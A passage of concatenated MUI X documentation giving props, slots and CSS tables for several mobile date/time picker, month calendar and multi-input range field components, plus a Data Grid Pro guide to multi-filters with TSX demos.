## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Time Range Picker
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { MobileDateTimeRangePicker } from '@mui/x-date-pickers-pro/MobileDateTimeRangePicker';
// or
import { MobileDateTimeRangePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| currentMonthCalendarPosition | `1 \| 2 \| 3` | `1` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultRangePosition | `'end' \| 'start'` | `'start'` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disableAutoMonthSwitching | `bool` | `false` | No |  |
| disabled | `bool` | `false` | No |  |
| disableDragEditing | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| maxDateTime | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| minDateTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onRangePositionChange | `function(rangePosition: RangePosition) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'day' \| 'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| rangePosition | `'end' \| 'start'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => "..."` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `Array<object>` | - | No |  |
| view | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| viewRenderers | `{ day?: func, hours?: func, meridiem?: func, minutes?: func, seconds?: func }` | - | No |  |
| views | `Array<'day' \| 'hours' \| 'minutes' \| 'seconds'>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| day | `DateRangePickersDay` | - | Custom component for day in range pickers.
Check the [DateRangePickersDay](https://mui.com/x/api/date-pickers/date-range-picker-day/) component. |
| dialog | `PickersModalDialogRoot` | - | Custom component for the dialog inside which the views are rendered on mobile. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| mobilePaper | `Paper from '@mui/material'.` | - | Custom component for the paper rendered inside the mobile picker's Dialog. |
| mobileTransition | `Fade from '@mui/material'.` | - | Custom component for the mobile dialog [Transition](https://mui.com/material-ui/transitions/). |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| tabs | `DateTimeRangePickerTabs` | - | Tabs enabling toggling between date and time pickers. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `DateTimeRangePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/MobileDateTimeRangePicker/MobileDateTimeRangePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/MobileDateTimeRangePicker/MobileDateTimeRangePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/mobile-time-picker.md

# MobileTimePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Time Picker](/x/react-date-pickers/time-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { MobileTimePicker } from '@mui/x-date-pickers/MobileTimePicker';
// or
import { MobileTimePicker } from '@mui/x-date-pickers';
// or
import { MobileTimePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| ampmInClock | `bool` | `true on desktop, false on mobile` | No |  |
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| localeText | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| viewRenderers | `{ hours?: func, minutes?: func, seconds?: func }` | - | No |  |
| views | `Array<'hours' \| 'minutes' \| 'seconds'>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| dialog | `PickersModalDialogRoot` | - | Custom component for the dialog inside which the views are rendered on mobile. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| mobilePaper | `Paper from '@mui/material'.` | - | Custom component for the paper rendered inside the mobile picker's Dialog. |
| mobileTransition | `Fade from '@mui/material'.` | - | Custom component for the mobile dialog [Transition](https://mui.com/material-ui/transitions/). |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| toolbar | `TimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/MobileTimePicker/MobileTimePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/MobileTimePicker/MobileTimePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/mobile-time-range-picker.md

# MobileTimeRangePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Time Range Picker
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { MobileTimeRangePicker } from '@mui/x-date-pickers-pro/MobileTimeRangePicker';
// or
import { MobileTimeRangePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | - | No |  |
| closeOnSelect | `bool` | `false` | No |  |
| defaultRangePosition | `'end' \| 'start'` | `'start'` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disableOpenPicker (deprecated) | `bool` | `false` | No | ⚠️ Use the [field component](https://mui.com/x/react-date-pickers/fields/) instead. |
| disablePast | `bool` | `false` | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| inputRef | `ref` | - | No |  |
| label | `node` | - | No |  |
| localeText | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| name | `string` | - | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose | `func` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onOpen | `func` | - | No |  |
| onRangePositionChange | `function(rangePosition: RangePosition) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| open | `bool` | `false` | No |  |
| openTo | `'hours' \| 'minutes' \| 'seconds'` | - | No |  |
| rangePosition | `'end' \| 'start'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `Array<object>` | - | No |  |
| view | `'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| viewRenderers | `{ hours?: func, meridiem?: func, minutes?: func, seconds?: func }` | - | No |  |
| views | `Array<'hours' \| 'minutes' \| 'seconds'>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| clearButton | `IconButton` | - | Button to clear the value. |
| clearIcon | `ClearIcon` | - | Icon to display in the button used to clean the value. |
| dialog | `PickersModalDialogRoot` | - | Custom component for the dialog inside which the views are rendered on mobile. |
| digitalClockItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single digital clock item. |
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |
| field | `undefined` | - | Component used to enter the date with the keyboard. |
| inputAdornment | `InputAdornment` | - | Component displayed on the start or end input adornment used to open the Picker. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| mobilePaper | `Paper from '@mui/material'.` | - | Custom component for the paper rendered inside the mobile picker's Dialog. |
| mobileTransition | `Fade from '@mui/material'.` | - | Custom component for the mobile dialog [Transition](https://mui.com/material-ui/transitions/). |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| openPickerButton | `IconButton` | - | Button to open the Picker. |
| openPickerIcon | `undefined` | - | Icon to display in the button used to open the Picker. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| tabs | `TimeRangePickerTabs` | - | Tabs enabling toggling between start and end time. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render the value. |
| Toolbar | `TimeRangePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/MobileTimeRangePicker/MobileTimeRangePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/MobileTimeRangePicker/MobileTimeRangePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/month-calendar.md

# MonthCalendar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)
- [Date Calendar](/x/react-date-pickers/date-calendar/)

## Import

```jsx
import { MonthCalendar } from '@mui/x-date-pickers/MonthCalendar';
// or
import { MonthCalendar } from '@mui/x-date-pickers';
// or
import { MonthCalendar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| monthsPerRow | `3 \| 4` | `3` | No |  |
| onChange | `function(value: PickerValidDate) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `object` | `The closest valid month using the validation props, except callbacks such as `shouldDisableMonth`.` | No |  |
| shouldDisableMonth | `function(month: PickerValidDate) => boolean` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiMonthCalendar` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| monthButton | `MonthCalendarButton` | - | Button displayed to render a single month in the `month` view. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | button | Styles applied to the button element that represents a single month |
| `.Mui-disabled` | - | Styles applied to a disabled button element. |
| - | root | Styles applied to the root element. |
| `.Mui-selected` | - | Styles applied to a selected button element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/MonthCalendar/MonthCalendar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/MonthCalendar/MonthCalendar.tsx)

---

# Source: https://mui.com/x/react-data-grid/filtering/multi-filters.md

---
title: Data Grid - Multi-filters
---

# Data Grid - Multi-filters [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Let end users apply multiple filters to the Data Grid simultaneously.

By default, it's only possible to apply one filter at a time to the Data Grid.
With the Data Grid Pro, users can apply multiple filters based on different criteria for more fine-grained data analysis.
They can apply multiple filters to a single column and multiple columns simultaneously.

The demo below shows how this feature works.
Click the filter icon to open the menu and add the first filter—the Data Grid dynamically responds as you enter a value.
Then click **Add Filter** to apply additional criteria.

```tsx
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function BasicExampleDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro {...data} loading={loading} showToolbar />
    </div>
  );
}

```

## Implementing multi-filters

The multi-filter feature is available by default with the Data Grid Pro and doesn't require any additional configuration.

### One filter per column

To limit the user to only applying one filter to any given column, you can use the [`filterColumns`](/x/api/data-grid/grid-filter-form/) and [`getColumnForNewFilter`](/x/api/data-grid/grid-filter-panel/) props available to `slotProps.filterPanel` as shown in the demo below:

```tsx
import {
  DataGridPro,
  FilterColumnsArgs,
  GetColumnForNewFilterArgs,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function DisableMultiFiltersDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const filterColumns = ({ field, columns, currentFilters }: FilterColumnsArgs) => {
    // remove already filtered fields from list of columns
    const filteredFields = currentFilters?.map((item) => item.field);
    return columns
      .filter(
        (colDef) =>
          colDef.filterable &&
          (colDef.field === field || !filteredFields.includes(colDef.field)),
      )
      .map((column) => column.field);
  };

  const getColumnForNewFilter = ({
    currentFilters,
    columns,
  }: GetColumnForNewFilterArgs) => {
    const filteredFields = currentFilters?.map(({ field }) => field);
    const columnForNewFilter = columns
      .filter(
        (colDef) => colDef.filterable && !filteredFields.includes(colDef.field),
      )
      .find((colDef) => colDef.filterOperators?.length);
    return columnForNewFilter?.field ?? null;
  };

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        showToolbar
        slotProps={{
          filterPanel: {
            filterFormProps: {
              filterColumns,
            },
            getColumnForNewFilter,
          },
        }}
      />
    </div>
  );
}

```

## Disabling multi-filters

To disable multi-filtering, pass the `disableMultipleColumnsFiltering` to the Data Grid Pro.

```tsx
<DataGridPro disableMultipleColumnsFiltering />
```

### Remove multi-filter action buttons

To disable the **Add Filter** or **Remove All** buttons, pass `disableAddFilterButton` or `disableRemoveAllButton`, respectively, to `componentsProps.filterPanel` as shown below:

```tsx
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function DisableActionButtonsDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        showToolbar
        slotProps={{
          filterPanel: {
            disableAddFilterButton: true,
            disableRemoveAllButton: true,
          },
        }}
      />
    </div>
  );
}

```

## API

- [GridFilterPanel](/x/api/data-grid/grid-filter-panel/)
- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/date-pickers/multi-input-date-range-field.md

# MultiInputDateRangeField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Range Field
- [Fields component](/x/react-date-pickers/fields/)

## Import

```jsx
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';
// or
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| dateSeparator | `string` | `"–"` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| direction | `'column-reverse' \| 'column' \| 'row-reverse' \| 'row' \| Array<'column-reverse' \| 'column' \| 'row-reverse' \| 'row'> \| object` | `'column'` | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| divider | `node` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date using the validation props, except callbacks such as `shouldDisableDate`. Value is rounded to the most granular section used.` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| shouldRespectLeadingZeros | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| spacing | `Array<number \| string> \| number \| object \| string` | `0` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| useFlexGap | `bool` | `false` | No |  |
| value | `Array<object>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiMultiInputDateRangeField` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `MultiInputRangeFieldRoot` | `.MuiMultiInputDateRangeField-root` | Element rendered at the root. |
| separator | `MultiInputRangeFieldSeparator` | `.MuiMultiInputDateRangeField-separator` | Element rendered between the two inputs. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render a date.
It is rendered twice: once for the start date and once for the end date. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/MultiInputDateRangeField/MultiInputDateRangeField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/MultiInputDateRangeField/MultiInputDateRangeField.tsx)

---

# Source: https://mui.com/x/api/date-pickers/multi-input-date-time-range-field.md

# MultiInputDateTimeRangeField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Time Range Field
- [Fields component](/x/react-date-pickers/fields/)

## Import

```jsx
import { MultiInputDateTimeRangeField } from '@mui/x-date-pickers-pro/MultiInputDateTimeRangeField';
// or
import { MultiInputDateTimeRangeField } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| dateSeparator | `string` | `"–"` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| direction | `'column-reverse' \| 'column' \| 'row-reverse' \| 'row' \| Array<'column-reverse' \| 'column' \| 'row-reverse' \| 'row'> \| object` | `'column'` | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| divider | `node` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| maxDateTime | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| minDateTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date using the validation props, except callbacks such as `shouldDisableDate`. Value is rounded to the most granular section used.` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| shouldRespectLeadingZeros | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| spacing | `Array<number \| string> \| number \| object \| string` | `0` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| useFlexGap | `bool` | `false` | No |  |
| value | `Array<object>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

